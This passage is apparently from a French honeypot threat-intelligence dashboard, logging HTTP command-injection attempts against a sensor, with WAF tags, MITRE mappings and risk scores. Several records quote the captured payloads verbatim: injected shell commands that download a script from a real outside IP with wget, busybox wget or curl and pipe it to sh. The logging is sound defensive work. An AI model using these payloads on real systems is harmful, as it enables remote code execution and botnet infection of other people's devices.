"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_probe_cgi_bin",
"http_sensitive_path",
"http_ssrf_body",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 23:49:11 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /cgi-bin/luci
Élevée
Moyen · 61
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
GET /cgi-bin/luci
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950325:rce-0
950468:nosqli-3
950629:webshell-param-cmd
http_no_ua
Cible HTTP
GET
/cgi-bin/luci
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/cgi-bin/luci
Pourquoi cette classification : Injection de commande (tag rce-0) · Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 61
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
pat-0773
pat-0775
pat-0144
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932190
CRS 932200
CRS 932205
CRS 932206
LFI Double-dot bypass
Probe /cgi-bin/luci
Ligne de requête
GET /cgi-bin/luci?cmd=`cd HTTP/1.1
User-Agent
—
Règles WAF
rce-0
nosqli-3
webshell-param-cmd
Payload (extrait)
GET /cgi-bin/luci?cmd=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s tuoshi;busybox wget http://91.92.40.118/wget.sh -O-|sh
Requête brute (extrait)
GET /cgi-bin/luci?cmd=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s tuoshi;busybox wget http://91.92.40.118/wget.sh -O-|sh -s tuoshi;curl http://91.92.40.118/wget.sh|sh -s tuoshi` HTTP/1.1 Host: 62.3.50.33:8081 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "4c1d6030a986266ba5ba71a1277a20bbc2d8d480",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 240,
"payload_entropy": 5.061771432238714,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 84,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 84,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 10,
"anomaly_count": 0,
"campaign_key": "3823ca5da22462a00353275057adafb8590346ea",
"event_fingerprint": "92af9d0ca44188723eb7ddc02b59b2c45c4da0ea",
"classification_reason": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 514,
"precision_signals": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147"
],
"matched_patterns": [
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103",
"pat-0245"
],
"matched_pattern_names": [
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932190",
"CRS 932200",
"CRS 932205",
"CRS 932206",
"LFI Double-dot bypass",
"Probe \/cgi-bin\/luci"
],
"pattern_ids": [
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103",
"pat-0245"
],
"confidence_breakdown": {
"waf": 84,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "e18d75c1fc86682b19f1b922d9e6360e",
"path_pattern_hash": "433e044dd5893c3ac149081d90651f83"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"payload_preview": "GET \/cgi-bin\/luci?cmd=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s tuoshi;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh",
"method": "GET",
"path": "\/cgi-bin\/luci",
"query_string": "cmd=`cd",
"waf_tags": [
"950325:rce-0",
"950468:nosqli-3",
"950629:webshell-param-cmd"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"webshell-param-cmd"
],
"request_line": "GET \/cgi-bin\/luci?cmd=`cd HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/luci?cmd=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s tuoshi;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s tuoshi;curl http:\/\/91.92.40.118\/wget.sh|sh -s tuoshi` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/cgi-bin\/luci?cmd=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s tuoshi;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh",
"evidence": {
"method": "GET",
"path": "\/cgi-bin\/luci",
"query_string": "cmd=`cd",
"waf_tags": [
"950325:rce-0",
"950468:nosqli-3",
"950629:webshell-param-cmd"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"webshell-param-cmd"
],
"request_line": "GET \/cgi-bin\/luci?cmd=`cd HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/luci?cmd=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s tuoshi;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s tuoshi;curl http:\/\/91.92.40.118\/wget.sh|sh -s tuoshi` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/cgi-bin\/luci?cmd=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s tuoshi;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh",
"classification_reason": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "bcdc91166372eca7f7d345f5d3ee8aae92b6256a",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/luci",
"request_line": "GET \/cgi-bin\/luci?cmd=`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/cgi-bin\/luci?cmd=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s tuoshi;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/luci",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 84,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0144"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0144"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/luci",
"request_line": "GET \/cgi-bin\/luci?cmd=`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/luci",
"evidence_snippet": "GET \/cgi-bin\/luci?cmd=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s tuoshi;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 84 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950325:rce-0",
"950468:nosqli-3",
"950629:webshell-param-cmd",
"http_no_ua",
"http_probe_cgi_bin",
"http_scanner_params",
"http_sensitive_path",
"http_suspicious_params",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 23:49:11 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /rc/index.php
Élevée
Moyen · 63
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
GET /rc/index.php
Émulateur
HTTP
WAF
21
Recommandation
Investiguer
Tags
950316:lfi-14
950325:rce-0
950468:nosqli-3
http_no_ua
Cible HTTP
GET
/rc/index.php
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/rc/index.php
Pourquoi cette classification : Injection de commande (tag lfi-14) · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 63
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
pat-0773
pat-0775
pat-0145
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
CRS 932206
LFI Double-dot bypass
Ligne de requête
GET /rc/index.php?param=`cd HTTP/1.1
User-Agent
—
Règles WAF
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /rc/index.php?param=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s mdomo;busybox wget http://91.92.40.118/wget.sh -O-|s
Requête brute (extrait)
GET /rc/index.php?param=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s mdomo;busybox wget http://91.92.40.118/wget.sh -O-|sh -s mdomo;curl http://91.92.40.118/wget.sh|sh -s mdomo` HTTP/1.1 Host: 62.3.50.33:8081 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 2,
"http_path_ext": "php",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "6dbaa454161195a28db128c39bcd2e0b64509ea7",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 239,
"payload_entropy": 5.12176958038491,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 92,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.1,
"risk_breakdown": {
"waf": 92,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 63,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "96ffbc980fb7bc9b875941ff0dddf15e06bf28d1",
"event_fingerprint": "99809226ec9e708a5e2747dbf9d44e80b93316bf",
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 444,
"precision_signals": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147"
],
"kb_rule_ids": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147"
],
"matched_patterns": [
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103"
],
"matched_pattern_names": [
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"CRS 932206",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103"
],
"confidence_breakdown": {
"waf": 92,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 63
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "5f1a1febb1cb04eecf03497d0593f529",
"path_pattern_hash": "9f01d15dbd2a6d5aaea97c773f4d76a0"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 63
},
"payload_preview": "GET \/rc\/index.php?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s mdomo;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|s",
"method": "GET",
"path": "\/rc\/index.php",
"query_string": "param=`cd",
"waf_tags": [
"950316:lfi-14",
"950325:rce-0",
"950468:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/rc\/index.php?param=`cd HTTP\/1.1",
"request_sample": "GET \/rc\/index.php?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s mdomo;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s mdomo;curl http:\/\/91.92.40.118\/wget.sh|sh -s mdomo` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/rc\/index.php?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s mdomo;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|s",
"evidence": {
"method": "GET",
"path": "\/rc\/index.php",
"query_string": "param=`cd",
"waf_tags": [
"950316:lfi-14",
"950325:rce-0",
"950468:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/rc\/index.php?param=`cd HTTP\/1.1",
"request_sample": "GET \/rc\/index.php?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s mdomo;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s mdomo;curl http:\/\/91.92.40.118\/wget.sh|sh -s mdomo` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/rc\/index.php?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s mdomo;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|s",
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7c1633680b7d056c1e9d5f7cfc35af64f82e1663",
"protocol_details": {
"http_method": "GET",
"http_path": "\/rc\/index.php",
"request_line": "GET \/rc\/index.php?param=`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/rc\/index.php?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s mdomo;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|s",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/rc\/index.php",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-14) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 63\/100 (Moyen) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 92,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 63
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 63,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0145"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0145"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/rc\/index.php",
"request_line": "GET \/rc\/index.php?param=`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/rc\/index.php",
"evidence_snippet": "GET \/rc\/index.php?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s mdomo;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|s",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 92 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950325:rce-0",
"950468:nosqli-3",
"http_no_ua",
"net_web_probe"
]
}
11/07/2026 23:49:11 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /api/tunnel/tailscale-install
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /api/tunnel/tailscale-install
Émulateur
HTTP
WAF
51
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/api/tunnel/tailscale-install
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/api/tunnel/tailscale-install
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0775
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /api/tunnel/tailscale-install HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/tunnel/tailscale-install HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/json
Content-Length: 176
Connect
Requête brute (extrait)
POST /api/tunnel/tailscale-install HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/json Content-Length: 176 Connection: close {"cmd":"`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s 9router;busybox wget http://91.92.40.118/wget.sh -O-|s
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "71635acf52f08ec22ba63b1a86f3789b430e80ee",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 318,
"payload_entropy": 5.18528285066032,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 15,
"anomaly_count": 0,
"campaign_key": "2e043609220034c4522b2f0d4bd3eeaf2eac744b",
"event_fingerprint": "c54fb7f35b3fbc7acdbe90e113fd03091c71dee0",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 446,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "e9a7a43e0385345712c3599be5eaaae2",
"path_pattern_hash": "99cd8034277f5314e823702dbb3ebc6d"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnect",
"method": "POST",
"path": "\/api\/tunnel\/tailscale-install",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1",
"request_sample": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnection: close\r\n\r\n{\"cmd\":\"`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s 9router;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|s",
"payload_snippet": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnect",
"evidence": {
"method": "POST",
"path": "\/api\/tunnel\/tailscale-install",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
